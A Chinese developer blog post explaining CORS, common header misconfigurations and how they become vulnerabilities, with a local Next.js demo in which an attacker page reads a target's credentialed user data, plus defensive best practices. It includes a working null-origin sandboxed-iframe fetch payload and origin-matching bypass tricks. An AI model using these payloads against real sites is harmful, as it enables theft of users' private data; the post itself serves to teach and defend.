简单聊聊 CORS 攻击与防御

我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品。我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值。
本文作者:霁明

什么是CORS

CORS(跨域资源共享)是一种基于HTTP头的机制,可以放宽浏览器的同源策略,实现不同域名网站之间的通信。

前置知识

同源定义:协议、域名、端口号一致即为同源。

CORS主要相关标头:

Access-Control-Allow-Origin:指定该响应的资源是否允许与给定的来源(origin)共享。

Access-Control-Allow-Credentials:用于在请求要求包含 credentials 时,告知浏览器是否可以将对请求的响应暴露给前端 JavaScript 代码。

CORS使用

常规使用方式

将ACAO标头指定为特定的源,Access-Control-Allow-Origin: http://a.b.com

如果请求需要携带凭证(例如cookies、authorization headers 或 TLS client certificates),需要将ACAC标头设置为true,Access-Control-Allow-Credentials: true。

另外,前端请求方法需要配置 credentials

typescript 复制代码
// XHR
const xhr = new XMLHttpRequest();
xhr.open("GET", "http://example.com/");
xhr.withCredentials = true;
xhr.send();

// Fetch
fetch(url, {
  credentials: "include",
});

常见的错误用法

同时配置多个源

将多个源同时写在ACAO标头里:

plain 复制代码
Access-Control-Allow-Origin: http://a.b.com,http://c.b.com

或者同时设置了多个ACAO标头:

plain 复制代码
Access-Control-Allow-Origin: http://a.b.com
Access-Control-Allow-Origin: http://c.b.com

此时跨域请求会报错,提示只能配置一个源:

在ACAO标头里使用通配符

plain 复制代码
Access-Control-Allow-Origin: *.b.com

此时跨域请求会报错,提示配置的源无效:

ACAO配置为"*",但请求携带了凭证

plain 复制代码
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

跨域请求时会报错,提示当携带凭证时ACAO标头不能为"*":

用法小结

  • ACAO 标头的值只能为这3种情况之一:*、指定的源(只能指定1个)、null。
  • ACAC 标头设置为 true 时(携带凭证时),ACAO 标头必须设置为一个指定的源。

CORS标头在哪里设置

代理服务器

在 Nginx 配置中,一般会在http、server 或 location 模块中设置响应标头,代码示例:

plain 复制代码
add_header Access-Control-Allow-Origin http://target.dtstack.cn;
add_header Access-Control-Allow-Credentials true;
// 其他 Access-Control 标头

后端

可以在后端代码中设置,部分后端框架也会设置默认值,以下是部分软件框架默认值设置情况:

CORS漏洞

在跨域资源共享过程中,由于 CORS 配置不当,导致本应该受限的访问请求,可以绕过访问控制策略读取资源服务器的数据,造成用户隐私泄露,信息窃取甚至账户劫持的危害。

CORS 的几种配置情况:

序号 Access-Control-Allow-Origin Access-Control-Allow-Credentials 结果
1 * true 存在漏洞
2 任意的源 true 存在漏洞
3 指定具体的源> true 不存在漏洞
4 null true 存在漏洞
5 * 不设置 存在漏洞
6 任意的源 不设置 存在漏洞
7 指定具体的源 不设置 不存在漏洞
8 null 不设置 存在漏洞

对于情况1,Access-Control-Allow-Origin: *,Access-Control-Allow-Credentials: true:

  • 如果请求携带了凭证,浏览器会报错,要求ACAO标头不能为*,这种情况下是没有漏洞的,因为请求直接失败了。
  • 如果请求不携带凭证(请求方法未设置 credentials),则相当于情况5,请求能正常响应,如果服务端不要求校验凭证,则数据会被返回。

对于其他存在漏洞情况,都可以通过某些手段,获取到请求返回的数据,这里就不细说。

攻击方式(绕过)

可以攻击的前提:目标网站存在CORS漏洞

使用 null 源

任何使用非分级协议(如 data: 或 file:)的资源和沙盒文件的 Origin 的序列化都被定义为 "null",这里利用 iframe 标签,使用 data url 格式将 src 的值直接加载为 html,请求代码就写在<script>标签中:

<iframe
  sandbox="allow-scripts allow-top-navigation allow-forms"
  src='data:text/html,<script>fetch("http://target.dtstack.cn:4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
  ></iframe>

attack.dtstack.cn 页面加载这段代码后就会发出请求:

plain 复制代码
Host: target.dtstack.cn:4000
Origin: null
plain 复制代码
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: null

由于 Origin 和 ACAO 标头匹配,所以接口能正常响应获取到数据。

使用符合匹配规则的域名

例如目标域名是 target.top,当 origin 匹配规则为包含 target.top 字符串时,攻击网站可以通过以下几种方式去绕过 origin 校验,使得请求响应的 ACAO 标头为攻击站点,从而成功进行跨域请求。

  • 目标域名作为子域名:target.top.attack.com
  • 攻击域名包含子域名字符串:attacktarget.top
  • 控制目标域名的子域名:attack.target.top

当目标网站是直接使用请求头的 Origin 作为响应的 ACAO 标头时,相当于允许任意站点进行跨域请求。

有时目标网站会信任某些第三方网站,例如一些云服务网站,这时如果攻击者使用同一云服务商的产品(源相同),也可以对目标站点发起跨域请求。

攻击 Demo 演示

在本地使用 Next.js 搭建两个站点,一个是 target.dtstack.cn:4000,一个是 attack.dtstack.cn:3000

target 站点实现

target 站点有一个查询用户信息接口,并且 CORS 配置存在漏洞,target 站点首页可以通过接口获取用户信息。

页面代码图如下:

tsx 复制代码
'use client';
import { useState } from 'react';

const url = '/api/getUserInfo';

export default function Home() {
  const [data, setData] = useState('');

  const getData = () => {
    setData('请求数据...');
    fetch(url, { method: 'POST' })
      .then((res) => res.json())
      .then((data: Record<string, any>) => {
        setData(JSON.stringify(data, null, 2));
      })
      .catch(() => {
        setData('请求数据失败');
      });
  };

  return (
    <div>
      <h3>This is target site</h3>
      <button onClick={getData} style={{ margin: "0 0 12px" }}>
        获取数据
      </button>
      <div>
        <textarea
          readOnly
          value={data}
          style={{ width: 500, height: 500 }}
          />
      </div>
    </div>
  );
}

查询用户信息接口直接将请求的 Origin 设置为 ACAO 标头,且 ACAC 标头设置为 true,代码如下:

typescript 复制代码
export default async function handler(
  req: NextApiRequest,
  res: NextApiResponse
) {
  const cors = Cors({
    origin: req.headers.origin,
    credentials: true,
    methods: ['POST', 'GET', 'HEAD'],
  });

  await runMiddleware(req, res, cors);

  res.setHeader('Set-Cookie', 'user_name=admin; Domain=.target.dtstack.cn; Expires=Fri, 26 Apr 2024 07:13:04 GMT; Path=/;');
  res.json({ username: 'admin' });
}

attack 站点实现

attack 站点可以在页面上,发起对 target 站点查询用户信息接口的请求

页面实现代码如下:

tsx 复制代码
'use client';
import { useState } from 'react';

const targetUrl = 'http://target.dtstack.cn:4000/api/getUserInfo';

export default function Home() {
  const [data, setData] = useState('');

  const getData = (url: string) => {
    setData('请求数据...');
    fetch(url, {
      method: 'POST',
      credentials: 'include',
    })
      .then((res) => res.json())
      .then((data: Record<string, any>) => {
        setData(JSON.stringify(data, null, 2));
      })
      .catch(() => {
        setData('请求数据失败');
      });
  };

  return (
    <div>
      <h3>This is attack site</h3>
      <button
        onClick={() => getData(targetUrl)}
        style={{ margin: '0 12px 12px 0' }}
        >
        获取target数据
      </button>
      <div>
        <textarea
          readOnly
          value={data}
          style={{ width: 500, height: 500 }}
          />
      </div>
      <iframe
        sandbox="allow-scripts allow-top-navigation allow-forms"
        src='data:text/html,<script>fetch("http://target.dtstack.cn:4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
        ></iframe>
    </div>
  );
}

攻击过程

获取 target 站点数据

打开 attack 页面,请求 target 站点的http://target.dtstack.cn:4000/api/getUserInfo接口

请求头:

plain 复制代码
Host: target.dtstack.cn:4000
Origin: http://attack.dtstack.cn:3000

响应头:

plain 复制代码
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://attack.dtstack.cn:3000

此时成功获取到了target站点的用户数据:

如果想要在非同站情况下发送cookie,SameSite属性需要为None,且必须同时设置Secure属性,而Secure属性在使用Https协议时才可以使用。使用目前最新版的Chrome (v124)、Edge (v124)、Firefox (v125)进行测试,Firefox和Chrome不会发送目标站点cookie,而Edge会发送。

防御方式(最佳实践)

  • 非必要的话,不要开启 CORS。
  • 定义白名单,对允许的源严格校验,ACAO 标头不要设置为*,origin 也尽量不要使用正则进行校验,避免匹配错误。
  • 使用 https,防止中间人攻击。
  • 配置 Vary 标头包含 Origin,例如 Vary: Origin,请求的 Origin 变化时更新数据,避免攻击者利用缓存。
  • 非必要时不启用 ACAC 标头,防止本地凭证被攻击者利用。
  • 限制允许的请求方法,通过 Access-Control-Allow-Methods 标头设置允许请求的方法,降低风险。
  • 限制缓存时间,通过 Access-Control-Max-Age 标头设置预检请求返回结果的缓存时间,确保浏览器短时间内可以更新缓存。
  • 仅配置需要的响应标头,当接收到跨域请求时才配置相关标头,减少攻击者的恶意利用。

参考链接

最后

欢迎关注【袋鼠云数栈UED团队】~

袋鼠云数栈 UED 团队持续为广大开发者分享技术成果,相继参与开源了欢迎 star

相关推荐
刻刻帝的海角9 小时前
CSS 颜色
前端·css
python算法(魔法师版)1 天前
html,css,js的粒子效果
javascript·css·html
LBJ辉1 天前
1. 小众但非常实用的 CSS 属性
前端·css
学不完了是吧2 天前
html、js、css实现爱心效果
前端·css·css3
Zaly.2 天前
【前端】CSS实战之音乐播放器
前端·css
孤客网络科技工作室2 天前
不使用 JS 纯 CSS 获取屏幕宽高
开发语言·javascript·css
m0_748247552 天前
【HTML+CSS】使用HTML与后端技术连接数据库
css·数据库·html
肖老师xy2 天前
css动画水球图
前端·css
LBJ辉2 天前
2. CSS 中的单位
前端·css
wang.wenchao2 天前
十六进制文本码流转pcap(text2pcap)
前端·css